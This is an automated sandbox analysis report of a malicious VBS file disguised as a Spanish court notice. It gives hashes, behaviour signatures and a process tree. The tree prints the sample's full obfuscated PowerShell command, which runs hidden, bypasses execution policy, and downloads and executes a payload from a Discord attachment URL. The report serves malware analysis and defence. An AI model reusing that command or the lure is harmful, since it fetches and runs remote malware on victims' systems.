Analysis

  • max time kernel
    260s
  • max time network
    262s
  • platform
    windows7_x64
  • resource
    win7-en
  • submitted
    13-09-2021 15:44

General

  • Target

    En la presente fecha el juzgado citante notifica el auto admisorio de la demanda proferido dentro de.vbs

  • Size

    827B

  • MD5

    d514951376914b9a27c6224acf10795e

  • SHA1

    dcdb8f2c70372d5104ab1ee68e6f23c767a88a1b

  • SHA256

    cbd527d1dbfef781aaa1d1ef6c8c5a0edd32658a230c58d504d00037cf0fcb78

  • SHA512

    f69ba8b7921aadc8032578a5f7e7515bebc0377a513cad099575fbee543df6ede19659853aa728ef514a835a9737b8417af16e80cf914cd7afdbc1302d75d03e

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\En la presente fecha el juzgado citante notifica el auto admisorio de la demanda proferido dentro de.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1664
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExEcUtIoNPoLiCy ByPAsS -wInDoWStYlE hIdDEn -command Invoke-Expression(New-Object Net.WebClient).(-join [char[]](68,111,119,110,108,111,97,100,83,116,114,105,110,103)).Invoke('https://cdn.discordapp.com/attachments/876945743724822550/884807521624281088/Cryp18.txt');$results
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1736

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

System Information Discovery

1
T1082

Replay Monitor

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Downloads

  • memory/1664-52-0x000007FEFC2A1000-0x000007FEFC2A3000-memory.dmp
    Filesize

    8KB

  • memory/1736-53-0x0000000000000000-mapping.dmp
  • memory/1736-55-0x000007FEF36F0000-0x000007FEF424D000-memory.dmp
    Filesize

    11.4MB

  • memory/1736-58-0x0000000002644000-0x0000000002647000-memory.dmp
    Filesize

    12KB

  • memory/1736-57-0x0000000002642000-0x0000000002644000-memory.dmp
    Filesize

    8KB

  • memory/1736-56-0x0000000002640000-0x0000000002642000-memory.dmp
    Filesize

    8KB

  • memory/1736-59-0x000000000264B000-0x000000000266A000-memory.dmp
    Filesize

    124KB